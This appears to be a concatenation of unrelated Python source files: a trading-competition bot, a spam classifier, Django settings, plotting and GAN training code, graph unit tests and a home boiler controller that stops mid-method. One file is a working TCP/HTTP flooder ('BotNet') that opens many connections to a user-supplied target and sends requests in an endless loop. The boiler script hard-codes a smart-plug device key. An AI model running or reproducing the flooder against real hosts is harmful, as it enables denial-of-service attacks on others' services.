    def flush(self, state: TradingState, orders: dict[Symbol, list[Order]]) -> None:
        print(json.dumps({
            "state": state,
            "orders": orders,
            "logs": self.logs,
        }, cls=ProsperityEncoder, separators=(",", ":"), sort_keys=True))

        self.logs = ""

logger = Logger()

class Trader:

    stats = {
        "asks" : {},
        "askVolumes" : {},
        "bids" : {},
        "bidVolumes" : {},
        "avg_prices" : {},
        "count" : {}
    }

    WINDOW_SIZE = 200

    SCALING_DIVISOR = {"PINA_COLADAS": 1.875, "COCONUTS": 1}
    POSITION_LIMIT = {"PINA_COLADAS": 300, "COCONUTS": 300}
    MODE = "NEUTRAL"  # the three modes are NEUTRAL, LONG_PINA, and LONG_COCO

    def correlation(self, product_1, product_2):
        #calculate pearson correlation coefficiant given two lists of products
        #https://www.geeksforgeeks.org/program-for-pearson-correlation-coefficient/
        n = len(product_1)
        sum_x = sum(product_1)
        sum_y = sum(product_2)
        sum_xy = sum([product_1[i] * product_2[i] for i in range(n)])
        squareSum_x = sum([product_1[i] ** 2 for i in range(n)])
        squareSum_y = sum([product_2[i] ** 2 for i in range(n)])
        corr = (n * sum_xy - sum_x * sum_y) / ((n * squareSum_x - sum_x ** 2) * (n * squareSum_y - sum_y ** 2)) ** 0.5
        return corr
        # mean_1 = sum(product_1)/len(product_1)
        # mean_2 = sum(product_2)/len(product_2)

        # #calculate standard deviations
        # std_1 = (sum([(x - mean_1)**2 for x in product_1])/len(product_1))**0.5
        # std_2 = (sum([(x - mean_2)**2 for x in product_2])/len(product_2))**0.5

        # #calculate covariance
        # covariance = sum([(product_1[i] - mean_1)*(product_2[i] - mean_2)
        #                 for i in range(len(product_1))])/(len(product_1))

        # return covariance/(std_1 * std_2)

    def run(self, state: TradingState) -> Dict[str, List[Order]]:
        """
        Only method required. It takes all buy and sell orders for all symbols as an input,
        and outputs a list of orders to be sent
        """
        # Initialize the method output dict as an empty dict
        result = {}
        order_depth: OrderDepth = state.order_depths

        for product in [key for key in state.order_depths.keys() if key in self.POSITION_LIMIT.keys()]:
            best_ask = min(order_depth[product].sell_orders.keys())
            best_ask_volume = order_depth[product].sell_orders[best_ask]
            best_bid = max(order_depth[product].buy_orders.keys())
            best_bid_volume = order_depth[product].buy_orders[best_bid]

            if product not in self.stats["asks"].keys():
                self.stats["asks"][product] = []
                self.stats["bids"][product] = []
                self.stats["avg_prices"][product] = []
                self.stats["count"][product] = 0
                self.stats["askVolumes"][product] = []
                self.stats["bidVolumes"][product] = []
            self.stats["asks"][product].append(best_ask)
            self.stats["bids"][product].append(best_bid)
            self.stats["avg_prices"][product].append((best_ask + best_bid)/2)
            self.stats["count"][product] += 1
            self.stats["askVolumes"][product].append(best_ask_volume)
            self.stats["bidVolumes"][product].append(best_bid_volume)

        #check if one of the counts is greater than the window size
        window = max(self.stats["count"]["PINA_COLADAS"], self.WINDOW_SIZE)
        min_window_size = 10 #minimum window size to trade
        if window > min_window_size:
            cocoPrices = self.stats["avg_prices"]["COCONUTS"][-self.WINDOW_SIZE:]
            cocoLastAsk = self.stats["asks"]["COCONUTS"][-1]
            cocoLastBid = self.stats["bids"]["COCONUTS"][-1]
            cocoLastAskVolume = self.stats["askVolumes"]["COCONUTS"][-1]
            cocoLastBidVolume = self.stats["bidVolumes"]["COCONUTS"][-1]

            pinaPrices = self.stats["avg_prices"]["PINA_COLADAS"][-self.WINDOW_SIZE:]
            pinaLastAsk = self.stats["asks"]["PINA_COLADAS"][-1]
            pinaLastBid = self.stats["bids"]["PINA_COLADAS"][-1]
            pinaLastAskVolume = self.stats["askVolumes"]["PINA_COLADAS"][-1]
            pinaLastBidVolume = self.stats["bidVolumes"]["PINA_COLADAS"][-1]

            try:
                cocoPosition = state.position["COCONUTS"]
            except:
                cocoPosition = 0
            try:
                pinaPosition = state.position["PINA_COLADAS"]
            except:
                pinaPosition = 0

            corr = self.correlation(cocoPrices, pinaPrices)

            #calculate the log average price of pinaPrics/cocoPrices
            logValues = [log(pinaPrices[i]/cocoPrices[i]) for i in range(len(pinaPrices))]
            logAvg = sum(logValues)/len(logValues)
            #calculate the standard deviation of logValues
            logStd = (sum([(logValues[i] - logAvg)**2 for i in range(len(logValues))])/len(logValues))**0.5
            currentLogVal = logValues[-1]
            #if current log val is 2*std above the average, sell pina and buy coco. If 2*std below, buy pina and sell coco
            cocoOrders: list[Order] = []
            pinaOrders: list[Order] = []
            if currentLogVal > 2*logStd + logAvg:
                pinaOrders.append(Order("PINA_COLADAS", pinaLastBid, -max(0,min(pinaLastBidVolume, self.POSITION_LIMIT[product] + pinaPosition))))
                cocoOrders.append(Order("COCONUTS", cocoLastAsk, max(0,min(-cocoLastBidVolume, self.POSITION_LIMIT[product] - cocoPosition))))
                #logger.print(f'Buy order for coconut at {cocoLastBid}, current coconut price is {cocoPrices[-1]}')
                self.MODE = "LONG_COCO"
            elif currentLogVal < -2*logStd + logAvg:
                pinaOrders.append(Order("PINA_COLADAS", pinaLastAsk, max(0,min(-pinaLastAskVolume, self.POSITION_LIMIT[product] - pinaPosition))))
                cocoOrders.append(Order("COCONUTS", cocoLastBid, -max(0,min(cocoLastBidVolume, self.POSITION_LIMIT[product] + cocoPosition))))
                #logger.print(f'Sell order for coconut at {cocoLastAsk}, current coconut price is {cocoPrices[-1]}')
                self.MODE = "LONG_PINA"
            elif currentLogVal >= logAvg-1*logStd and self.MODE == "LONG_PINA":
                #exit position
                pinaOrders.append(Order("PINA_COLADAS", pinaLastBid, -pinaPosition))
                cocoOrders.append(Order("COCONUTS", cocoLastAsk, cocoPosition))
                self.MODE = "NEUTRAL"
            elif currentLogVal <= logAvg+1*logStd and self.MODE == "LONG_COCO":
                #exit position
                pinaOrders.append(Order("PINA_COLADAS", pinaLastAsk, pinaPosition))
                cocoOrders.append(Order("COCONUTS", cocoLastBid, -cocoPosition))
                self.MODE = "NEUTRAL"
            elif self.MODE == "NEUTRAL":
                #continue closing positions
                if pinaPosition > 0:
                    pinaOrders.append(Order("PINA_COLADAS", pinaLastAsk, -pinaPosition))
                elif pinaPosition < 0:
                    pinaOrders.append(Order("PINA_COLADAS", pinaLastBid, -pinaPosition))
                if cocoPosition > 0:
                    cocoOrders.append(Order("COCONUTS", cocoLastAsk, -cocoPosition))
                elif cocoPosition < 0:
                    cocoOrders.append(Order("COCONUTS", cocoLastBid, -cocoPosition))
            result["COCONUTS"] = cocoOrders
            result["PINA_COLADAS"] = pinaOrders
            # print("COCONUT POSITION: ", cocoPosition)
            # print("PINA POSITION: ", pinaPosition)
        logger.flush(state, result)
        return result


#!/usr/bin/env python3

from gzip import open
import numpy as np
from sklearn.model_selection import train_test_split
from sklearn.naive_bayes import MultinomialNB
from sklearn.metrics import accuracy_score

from sklearn.feature_extraction.text import CountVectorizer

def spam_detection(random_state=0, fraction=1.0):
    #following lines are for reading data
    list_ham = None
    list_spam = None
    ham_file = 'src/ham.txt.gz'
    spam_file = 'src/spam.txt.gz'
    with open(ham_file) as ham_data:
        list_ham = ham_data.readlines()
        num_lines = int(fraction * len(list_ham))
        list_ham = list_ham[:num_lines]
    with open(spam_file) as spam_data:
        list_spam = spam_data.readlines()
        num_lines = int(fraction * len(list_spam))
        list_spam = list_spam[:num_lines]
    vec = CountVectorizer()

    #the following block of steps are always necessary to form the entire set
    X_rows = list_ham + list_spam
    X = vec.fit_transform(X_rows).toarray()
    # label 1 for spam
    y = np.zeros(len(X_rows))
    y[len(list_ham):] = 1

    #the set formed above is then transformed into training and test sets
    #this is pretty standard, similar to the previous exercises
    X_train, X_test, y_train, y_test = train_test_split(X, y, train_size=0.75, random_state=random_state)
    model = MultinomialNB()
    model.fit(X_train, y_train)
    y_fitted = model.predict(X_test)
    result = accuracy_score(y_test, y_fitted)
    misclassified = np.sum(y_test != y_fitted)
    return (result, len(X_test), misclassified)

def main():
    accuracy, total, misclassified = spam_detection()
    print("Accuracy score:", accuracy)
    print(f"{misclassified} messages miclassified out of {total}")

if __name__ == "__main__":
    main()


""" Immutable settings. Common for all projects. """

import logging
from os import path as op, walk, listdir

PROJECT_ROOT = op.abspath(op.dirname(op.dirname(op.dirname(__file__))))
PROJECT_NAME = op.basename(PROJECT_ROOT)

ENVIRONMENT_NAME = 'core'

# Databases
DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.sqlite3',
        'NAME': 'db.sqlite',
        'USER': '',
        'PASSWORD': '',
        'TEST_CHARSET': 'utf8',
    }
}

# Caches
CACHES = {
    'default': {
        'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
        'KEY_PREFIX': '_'.join((PROJECT_NAME, ENVIRONMENT_NAME))
    }
}

# Media settigns
MEDIA_ROOT = op.join(PROJECT_ROOT, 'media')
STATIC_ROOT = op.join(PROJECT_ROOT, 'static')
MEDIA_URL = '/media/'
STATIC_URL = '/static/'

# New Relic settings
NEW_RELIC_LICENSE_KEY = 'notasecret'
NEW_RELIC_REPORT_DURATION = 30

STATICFILES_FINDERS = (
    'django.contrib.staticfiles.finders.FileSystemFinder',
    'django.contrib.staticfiles.finders.AppDirectoriesFinder',
)

# Templates settings
TEMPLATE_DIRS = ()
for directory_name in walk(PROJECT_ROOT).next()[1]:
    directory_path = op.join(PROJECT_ROOT, directory_name)
    if 'templates' in listdir(directory_path):
        TEMPLATE_DIRS += (op.join(directory_path, 'templates'),)

TEMPLATE_LOADERS = (
    'django.template.loaders.filesystem.Loader',
    'django.template.loaders.app_directories.Loader',
)

TEMPLATE_CONTEXT_PROCESSORS = (
    'django.core.context_processors.static',
    'django.core.context_processors.request',
    'django.contrib.auth.context_processors.auth',
    'django.contrib.messages.context_processors.messages',
)

# Applications
INSTALLED_APPS = (
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.admin',
    'django.contrib.staticfiles',
)

# Middleware
MIDDLEWARE_CLASSES = (
    'django.middleware.common.CommonMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
)

# Base apps settings
MESSAGE_STORAGE = 'django.contrib.messages.storage.cookie.CookieStorage'

# Localization
USE_I18N = True
USE_L10N = True
USE_TZ = True
MIDDLEWARE_CLASSES += ('django.middleware.locale.LocaleMiddleware',)
TEMPLATE_CONTEXT_PROCESSORS += ('django.core.context_processors.i18n',)

# Debug
INTERNAL_IPS = ('127.0.0.1',)

# Logging
LOGGING = {
    'version': 1,
    'disable_existing_loggers': False,
    'formatters': {
        'verbose': {
            'format': '%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s' # noqa
        },
        'simple': {
            'format': '%(levelname)s %(message)s'
        },
    },
    'filters': {
        'require_debug_false': {
            '()': 'django.utils.log.RequireDebugFalse'
        }
    },
    'handlers': {
        'mail_admins': {
            'level': 'ERROR',
            'filters': ['require_debug_false'],
            'class': 'django.utils.log.AdminEmailHandler'
        },
        'console': {
            'level': 'DEBUG',
            'class': 'logging.StreamHandler',
            'formatter': 'simple'
        }
    },
    'loggers': {
        'django.request': {
            'handlers': ['mail_admins'],
            'level': 'ERROR',
            'propagate': True,
        },
        'django': {
            'handlers': ['console'],
            'level': 'INFO',
            'propagate': True,
        },
        'joltem': {
            'handlers': ['console'],
            'level': 'DEBUG',
            'propagate': True,
        },
        'tests': {
            'handlers': ['console'],
            'level': 'DEBUG',
            'propagate': True,
        }
    }
}

logging.basicConfig(
    level=logging.DEBUG,
    format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s',
    datefmt='%d.%m %H:%M:%S',
)
logging.info("Core settings loaded.")


import math
import itertools

import numpy as np

import matplotlib.pyplot as plt
from matplotlib.patches import Patch, Circle, ConnectionPatch

from sklearn.cluster import KMeans

class SimpleGraphProps:

    def __init__(self, size=80, color="#000000", alpha=0.5):
        self._size = size
        self._color = color
        self._alpha = alpha

    def get_size(self, i):
        return self._size

    def get_color(self, i):
        return self._color

    def get_label(self, i):
        return None

    def get_label_size(self, i):
        return 0

DEFAULT_PROPS = SimpleGraphProps()

def show_maps(maps, props=DEFAULT_PROPS, ncols=4, size=5):

    N = len(maps)

    if hasattr(props, '__iter__'):
        assert len(props) == N, "props must correspond to maps"
    else:
        props = [props] * N

    nrows = N // ncols
    if N % ncols != 0:
        nrows += 1
    if N < ncols:
        ncols = N

    plt.figure(figsize=(size*ncols, size*nrows))
    for i in range(N):
        ax = plt.subplot(nrows, ncols, i+1)
        show_map(ax, maps[i], props[i])

    plt.tight_layout()

def show_map(ax, amap, props):

    y = amap.y
    labels = amap.labels

    xvals = y[:,0]
    yvals = y[:,1]
    sizes = [props.get_size(l) for l in labels]
    colors = [props.get_color(l) for l in labels]

    # ensure axes are scaled equally and tick marks are suppressed
    ax.axis('equal')
    ax.set_title(amap.name, fontsize=20)
    for axis in [ax.xaxis, ax.yaxis]:
        axis.set_major_formatter(plt.NullFormatter())

    # create all scatterplot points
    ax.scatter(xvals, yvals, color=colors, s=sizes, marker='o', alpha=0.5)

    # add labels as annotations
    for i, l in enumerate(labels):
        text = props.get_label(l)
        if text:
            ax.annotate(text, xy=(xvals[i], yvals[i]),
                horizontalalignment='center',
                verticalalignment='center',
                size=props.get_label_size(l),
            )

#     # legend
#     legend_patches = []
#     # patches for machine types
#     for (stype, color) in colormap.items():
#         patch = ax.scatter([], [], color=color, marker="o", s=getsize(medw), alpha=0.5, label=stype)
#         legend_patches.append(patch)
#     # size scale
#     for factor in [2,3,4,5]:
#         w = 10**factor
#         size=getsize(w)
#         patch = ax.scatter([], [], color="#707070", marker="o", s=size, alpha=0.5, label="{:,.0f} connections".format(w))
#         legend_patches.append(patch)

    #ax.legend(handles=legend_patches, labelspacing=5, handlelength=5, handletextpad=2., borderpad=3, ncol=2, loc=3)


import os
import os.path as osp
import numpy as np
import sys
import torch
import torch.nn as nn
import torch.backends.cudnn as cudnn
from utils import pose_utils
from utils.loss import GANLoss, PixelWiseBCELoss, PixelSoftmaxLoss, VGGLoss, NNLoss, NewL1Loss, TVLoss
from abc import ABC, abstractmethod
import datetime
from torch.optim import lr_scheduler
import time

class BaseModel(ABC):
    def name(self):
        return 'BaseModel'

    def __init__(self, opt):
        super(BaseModel, self).__init__()
        self.opt = opt
        cudnn.enabled = True
        cudnn.benchmark = True
        # define loss
        self.criterionGAN = GANLoss(opt.gan_mode).cuda()
        self.criterionL1 = torch.nn.L1Loss().cuda()
        self.criterion_newL1 = NewL1Loss()
        self.criterion_smooth_L1 = torch.nn.SmoothL1Loss()
        self.criterion_vgg = VGGLoss("vgg_model/vgg19-dcbb9e9d.pth").cuda()
        self.weight = np.array([0.03] * 2 + [0.08] * 1 + [0.03] * 2 + [0.08] * 3 + [0.03] * 5 + [0.08] * 5 + [0.05] * 2)
        self.weight = torch.Tensor(self.weight).cuda()
        self.criterionBCE_re = PixelSoftmaxLoss(self.weight).cuda()
        self.criterion_tv = TVLoss()
        # log dir
        if opt.joint_all:
            self.save_dir = os.path.join('net_model', 'joint_checkpoint', opt.suffix)
        else:
            self.save_dir = os.path.join('net_model', opt.train_mode + '_checkpoint', opt.suffix)
        self.date_suffix = self.dt()
        self.log_dir = os.path.join(self.save_dir, 'logs')

        self.log_name = os.path.join(self.log_dir, 'train_log_%s_%s.log'%(opt.suffix, self.date_suffix))
        self.vis_path = os.path.join(self.save_dir, 'imgs')

        if not os.path.exists(self.vis_path):
            os.makedirs(self.vis_path)
        if not os.path.exists(self.log_dir):
            os.makedirs(self.log_dir)

        with open(os.path.join(self.log_name), 'a') as log_file:
            now = time.strftime("%c")
            log_file.write('================ Training Loss (%s) ================\n' % now)

    def dt(self):
        return datetime.datetime.now().strftime("%m-%d-%H")

    def update_learning_rate(self, opt, optimizer, epoch):
        base_lr = opt.lr
        lr = base_lr
        if epoch > 30:
            lr = base_lr * (1 - base_lr/opt.decay_iters)
        if isinstance(optimizer, list):
            for _ in optimizer:
                for param_group in _.param_groups:
                    param_group['lr'] = lr
        else:
            for param_group in optimizer.param_groups:
                param_group['lr'] = lr

        # TO DO
        # if epoch <= 4:
        #     lr = base_lr
        # elif epoch > 24:
        #     lr = 2e-4 * (1 - (epoch-24) / 10)
        # else:
        #     lr = self.get_learning_rate(optimizer)
        #     if lr <= 2e-4:
        #         lr = 2e-4
        #     else:
        #         lr = base_lr - (base_lr - 2e-4) * (epoch - 4) / 15

        # for scheduler in self.get_scheduler(optimizer, opt):
        #     scheduler.step()

    def get_learning_rate(self, optimizer):
        lr = []
        if not isinstance(optimizer, list):
            for param_group in optimizer.param_groups:
                lr += [param_group['lr']]
        else:
            for _ in optimizer:
                for param_group in _.param_groups:
                    lr += [param_group['lr']]
        return lr[0]

    def set_requires_grad(self, nets, requires_grad=True):
        if not isinstance(nets, list):
            nets = [nets]
        for net in nets:
            if net is not None:
                for param in net.parameters():
                    param.requires_grad = requires_grad

    def adjust_fade_in_alpha(self, epoch):
        alpha = list(np.arange(0.6, 1.2, 0.2))
        if epoch < 6:
            fade_in_alpha = alpha[epoch // 2]
        else:
            fade_in_alpha = 1

        return int(fade_in_alpha)

    def load_network(self, network, save_path, ifprint=False):
        if ifprint:
            print(network)
        try:
            network.load_state_dict(torch.load(save_path))
        except:
            pretrained_dict = torch.load(save_path)
            model_dict = network.state_dict()
            try:
                pretrained_dict = {k: v for k, v in pretrained_dict.items() if k in model_dict}
                network.load_state_dict(pretrained_dict)
            except:
                print('Pretrained network %s has fewer layers; The following are not initialized:')
                for k, v in pretrained_dict.items():
                    if v.size() == model_dict[k].size():
                        model_dict[k] = v
                        print(k)
                if sys.version_info >= (3,0):
                    not_initialized = set()
                else:
                    from sets import Set
                    not_initialized = Set()

                for k, v in model_dict.items():
                    if k not in pretrained_dict or v.size() != pretrained_dict[k].size():
                        not_initialized.add(k.split('.')[0])

                print(sorted(not_initialized))
                network.load_state_dict(model_dict)

    def print_loss(self, opt):
        pass

    def get_scheduler(self, optimizer, opt):

        if opt.lr_policy == 'linear':
            def lambda_rule(epoch):
                lr_l = 1.0 - max(0, epoch + opt.epoch_count - opt.niter) / float(opt.niter_decay + 1)
                return lr_l
            scheduler = lr_scheduler.LambdaLR(optimizer, lr_lambda=lambda_rule)
        elif opt.lr_policy == 'step':
            scheduler = lr_scheduler.StepLR(optimizer, step_size=opt.lr_decay_iters, gamma=0.1)
        elif opt.lr_policy == 'plateau':
            scheduler = lr_scheduler.ReduceLROnPlateau(optimizer, mode='min', factor=0.2, threshold=0.01, patience=5)
        elif opt.lr_policy == 'cosine':
            scheduler = lr_scheduler.CosineAnnealingLR(optimizer, T_max=opt.niter, eta_min=0)
        else:
            return NotImplementedError('learning rate policy [%s] is not implemented', opt.lr_policy)
        return scheduler

        # errors: same format as |errors| of plotCurrentErrors


import pytest
from data_structures_and_algorithms_python.data_structures.graphs.graph import *

# 1 Node can be successfully added to the graph

def test_add_node_successfully():
    graph = Graph()
    graph.add_node('A')
    expected = 1
    actual = graph.size()
    assert actual == expected

# 2 An edge can be successfully added to the graph

def test_add_edge_successfully():
    graph = Graph()
    v1 = graph.add_node('A')
    v2 = graph.add_node('B')
    graph.add_edge(v1, v2)
    assert graph._adjacency_list[v1] == [(v2, 0)]

def test_get_all_nodes_and_check_the_size():
    graph = Graph()
    v1 = graph.add_node('A')
    v2 = graph.add_node('B')
    v3 = graph.add_node('C')
    v4 = graph.add_node('D')
    v5 = graph.add_node('E')
    assert graph.size() == 5

def test_get_neighbor_and_with_weights():
    graph = Graph()
    v1 = graph.add_node('A')
    v2 = graph.add_node('B')
    v3 = graph.add_node('C')
    graph.add_edge(v1, v2, 1)
    graph.add_edge(v1, v3, 2)
    assert graph.neighbors(v1) == [('B', 1), ('C', 2)]

# 7A graph with only one node and edge can be properly returned

def test_graph_with_one_node_and_edge():
    graph = Graph()
    v1 = graph.add_node('A')
    with pytest.raises(KeyError):
        graph.add_edge(v1, None)

# 8 An empty graph properly returns null

def test_empty_graph():
    graph = Graph()
    assert graph.print_graph() == None
    print('pass')


#!/usr/bin/env python3
# Please do not copy! Or fork
# if you lammer can fork it 😐😂🍴
# Do not forget to change the variables to your desired variables
# Think I didn't understand (don't tell anyone)
# telegram id 🆔> @Zer0x00 MJi pwned 👾
import socket
import sys
import threading
mji = 1
from colorama import Fore as color
#global i
#i = 0
class BotNet:
    def __init__(self, i=0):
        self.target = input("Target ip > ")
        self.port = int(input("port number (open port) > "))
        self.connections_len = []
        self.num_threads = int(input("workers len (default 100) insert that! > "))
        self.i = i
    def Connect(self):
        for meji in range(self.num_threads):
#        while mji:
            self.i += 1
            print (f"{color.CYAN} initializing thread > {self.i} from {self.num_threads}")
            connector = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            connector.connect((self.target, self.port))
            self.connections_len.append(connector)
    def Flooder(self):
        while mji:
            for con in self.connections_len:
                try:
                    con.send(b"GET / HTTP/1.1\r\n")
                    con.send(b"Host: " + self.target.encode() + b"\r\n\r\n")
                    con.send(b"\r\n")
                    print (f"[✓]{color.WHITE}{color.GREEN} Packet Sended.{color.WHITE}")
                except Exception as Error:
                    print (f"{color.YELLOW}[×]{color.RED} Packet  Not Sended ××× 🚫 \n    {color.WHITE} Error : {color.YELLOW} {Error}")
 #                   ask = input("are you want to exit ? (y/n): ").lower()
#                    if ask == "y":
  #                      sys.exit(0)
   #                 else:
    #                    pass
    def RunBotnetThread(self):
        self.Connect()
        threading.Thread(target=self.Flooder).start()
if __name__ == "__main__":
    BOT = BotNet()
    BOT.RunBotnetThread()


import time
import board
import busio
import time, signal, sys, os, math
import numpy as np
import adafruit_ads1x15.ads1115 as ADS
from adafruit_ads1x15.analog_in import AnalogIn
# from terminaltables import SingleTabl
from tabulate import tabulate
import requests
import logging

#from lib.SCR import *
from lcd_start import LCD_DISPLAY
from lib.pwmd import PWMControl
from lib.display import *
from lib import pytuya
from datetime import datetime
from datetime import timedelta
from database import db
from numpy import mean as avg
from numpy import arange
import colored
from colored import stylize
from lib.decorator import month_decrease
sys.setrecursionlimit(10000)

PWMControl = PWMControl()

debug = False
logging.basicConfig(format='%(asctime)s %(message)s')
# Create the I2C bus
i2c = busio.I2C(board.SCL, board.SDA)
#print(i2c.scan(), board.SDA, board.SCL)
date = datetime.now
# Create the ADC object using the I2C bus
ads = ADS.ADS1115(i2c)

force_variable = "auto"
turn_off = True

class Boiler_Ariston():

    def __init__(self, turn_off=False):

        self.sonde1 = self.GetSonde1()
        self.sonde2 = self.GetSonde2()
        self.rend5 = self.rend(5)
        self.rend1 = self.rend(1, return_count=True)
        self.turn_off = turn_off

    def conso_global(self):
        tuyaconso = pytuya.OutletDevice('35466753483fda783614', '192.168.1.212', 'ec83cabf1d40bc17')
        tuyaconso.set_version(3.3)
        data = tuyaconso.status()

        power = data['dps']['1']
        kwh = int(data['dps']['17'])/1000
        MilAmp = (int(data['dps']['18'])/1000)/1.2
        Watt = float(data['dps']['19'])
        Voltage = int(data['dps']['20'])/10
        VA = MilAmp*round(Voltage, 1)

        if power != True:
            tuyaconso.set_status(True, 1)

        return { 'power': power,
                 'kwh': kwh,
                 'Ampere': MilAmp,
                 'Watt': Watt,
                 'Voltage' : Voltage,
                 'VA' : VA }

    def round_of_8bit(self, number):
        float_n = float("0{}".format(str(number-int(number))[1:]))

        if number == 0 and float_n == 0.0:
            return 0
        elif float_n < 0.4:
            number = int(number)
        elif float_n >= 0.4 and float_n < 0.8:
            number = int(number)+0.5
        elif float_n >= 0.8:
            number = int(number)+1

        return number

    def GetSonde1(self):
        lcd_function = LCD_DISPLAY("norun")

        sonde1 = lcd_function.GetSonde1()
        #print(sonde1)

        # query = db.Ballon2.select().order_by(db.Ballon2.id.desc()).where(db.Ballon2.Sonde_haut != None or db.Ballon2.Sonde_bas != None).limit(1)
        #
        # Sonde_haut = [row.Sonde_haut for row in query]
        # Sonde_bas = [row.Sonde_bas for row in query]
        #
        # AvgTemp = (avg(Sonde_haut) + avg(Sonde_bas)) / 2
        #
        # if avg(Sonde_haut) <= 0 or avg(Sonde_haut) >= 70:
        #     pass
        #     #security(shutdown=True, msg="Sonde haut Ballon 1 value {} [{}] min 1, max 70".format(Sonde_haut, stylize("ERROR", colored.fg("red"))))
        #     #exit(0)
        #
        # if avg(Sonde_bas) <= 0 or avg(Sonde_bas) >= 70:
        #     pass
        #     #security(shutdown=True, msg="Sonde bas Ballon 1 value {} [{}] min 1, max 70".format(Sonde_haut, stylize("ERROR", colored.fg("red"))))
        #     #exit(0)

        return sonde1

    def GetSonde2(self):
        lcd_function = LCD_DISPLAY("norun")

        sonde2 = lcd_function.GetSonde2()
        #print(sonde2)
        # query = db.Ballon1.select().order_by(db.Ballon1.id.desc()).where(db.Ballon1.Sonde_haut != None or db.Ballon1.Sonde_bas != None).limit(1)
        # Sonde_haut = [row.Sonde_haut for row in query]
        # Sonde_bas = [row.Sonde_bas for row in query]
        # AvgTemp = (avg(Sonde_haut) + avg(Sonde_bas)) / 2

        # if avg(Sonde_haut) <= 0 or avg(Sonde_haut) >= 70:
        #     pass
            #security(shutdown=True, msg="Sonde haut Ballon 2 value {} [{}] min 1, max 70".format(Sonde_haut, stylize("ERROR", colored.fg("red"))))
            #exit(0)

        # if avg(Sonde_bas) <= 0 or avg(Sonde_bas) >= 70:
        #     pass
            #security(shutdown=True, msg="Sonde bas Ballon 2 value {} [{}] min 1, max 70".format(Sonde_haut, stylize("ERROR", colored.fg("red"))))
            #exit(0)

        #return {"bas": {"temp": avg(Sonde_haut)}, "haut": {"temp": avg(Sonde_bas)}, "moyenne": AvgTemp}
        return sonde2

    def security(self, shutdown=False, msg=""):

        if self.sonde2["moyenne"] > 0 and self.sonde1["moyenne"] > 0:
            if (self.sonde1['moyenne'] > 60 or self.sonde2['moyenne'] > 55):
                shutdown = True
                print("Security STOP ALL Warning temperature interne overload 50°C value is {}°C".format(self.sonde2['moyenne']))

            elif (self.sonde1['moyenne'] < 0 or self.sonde2['moyenne'] < 0):
                shutdown = True
                print("Security STOP ALL Warning temperature interne ERROR value is {EC".format(self.sonde2['moyenne']))

        if shutdown:
            self.turn_off = True

        return None

    @month_decrease(month="Février-Septembre", decrease_percent=5, temp="temp2")
    def AjustPercent(self, temperature, temperatureMax, maxstep, temp="", test=False):

        rend_avg = self.rend1[0]
        rend_count =self.rend1[1]

        step = round(temperatureMax - temperature, 2)
        AjustTemp = 0

        # determine la puissance de chauffe. coefficien de la temperature maximum et en fonction du rendement de chauf. ( gain de chaleur produite a l'interieur de la cuve )
        if (step > maxstep) or (step > 0 and PWMControl.angle1 > 0 and temp == "temp1") or (step > 0 and PWMControl.angle2 > 0 and temp == "temp2"):
            temperatureMax = temperatureMax # + (5 * step)
            if step > round(maxstep/0.7, 1):
                if test == False:
                    print("Boost : {} > {} {}".format(step, round(maxstep/0.7,1), temp))

                if temp == "temp1" and round((100-round(((temperatureMax/100)*temperature), 2))) > 65:
                    AjustTemp = round((100-round(((temperatureMax/100)*temperature), 2)), 2)-50

                elif temp == "temp2" and round((100-round(((temperatureMax/100)*temperature), 2))) > 60:
                    AjustTemp = round((100-round(((temperatureMax/100)*temperature), 2)), 2)-50

                elif temp == "temp2" and round((100-round(((temperatureMax/100)*temperature), 2))) > 55:
                    AjustTemp = round((100-round(((temperatureMax/100)*temperature), 2)), 2)-45

                else:
                    AjustTemp = round((100-round(((temperatureMax/100)*temperature), 2)), 2)

            else:
                if temp == "temp1" and (step <= maxstep/3):
                    if test == False:
                        print("Boost +10.8 for end {} <= {} {}".format( step, round(maxstep/3,1), temp))
                    AjustTemp = round(100-(100-round(((temperatureMax/100)*temperature), 2)), 2)+(13/1.5)

                    if avg(self.rend5) <= 0.5:
                         AjustTemp = AjustTemp+5

                elif temp == "temp2" and (step <= maxstep/3):
                    if test == False:
                        print("Boost +10 for end {} <= {} {}".format(step, round(maxstep/3,1), temp))

                    AjustTemp = round(100-(100-round(((temperatureMax/100)*temperature), 2)), 2)+(20/2)
                else:
                    AjustTemp = round(100-(100-round(((temperatureMax/100)*temperature), 2)), 2)

                if AjustTemp <= 27 and AjustTemp > 10:
                    AjustTemp = AjustTemp + (3*(step/1.2))

                if AjustTemp <= 10 and step > maxstep:
                    AjustTemp = AjustTemp+12

                if AjustTemp <= 10 and step > maxstep:
                    AjustTemp = AjustTemp

                if AjustTemp <= 25 and temp == "temp1":
                    AjustTemp = AjustTemp + 3

            if temp == "temp1":
                if AjustTemp <= 33:
                    if round(rend_avg,3)*rend_count <= 0.4:
                         if test == False:
                             print("Boost Entrer rend + ({}) rendement = {}°C".format(round(10-round(round(rend_avg,3)*(rend_count*5),2)*2, 2), round(round(avg(rend_avg),3)*rend_count, 3)))
                         AjustTemp = round(AjustTemp+round(10-round(round(avg(rend_avg),3)*(rend_count*5),2)*2, 2), 2)

            elif temp == "temp2":
                if AjustTemp <= 30:
                    if round(rend_avg,3)*rend_count < 0.2:
                        if test == False:
                            print("Boost Sortie rend + ({}) rendement = {}°C".format(round(10-round(round(rend_avg,3)*(rend_count*5),2)*2, 2), round(round(rend_avg,3)*rend_count, 3)))
                        AjustTemp = round(AjustTemp+round(10-round(round(avg(rend_avg),3)*(rend_count*5),2)*2, 2), 2)

            if AjustTemp >= 100:
                AjustTemp = 99

        if force_variable == "auto":
            return round(float(AjustTemp), 2) #round_of_8bit(AjustTemp)

        elif AjustTemp > 0:
            return int(force_variable)

        else:
            return 0

    def rend(self, minute, return_count=False):
        date = datetime.now()
        date_range = date - timedelta(minutes = minute)

        query = db.Global_info.select().order_by(db.Global_info.id.desc()).where(db.Global_info.date.between(date_range, date)).where(db.Global_info.rend_ballon1 != None)
        rend = [row.rend_ballon1 for row in query]

        if return_count == False:
            return avg(rend)

        else:
            return [avg(rend), len(rend)]

    def SetResistance(self, temperature1, temperature2, test=False):

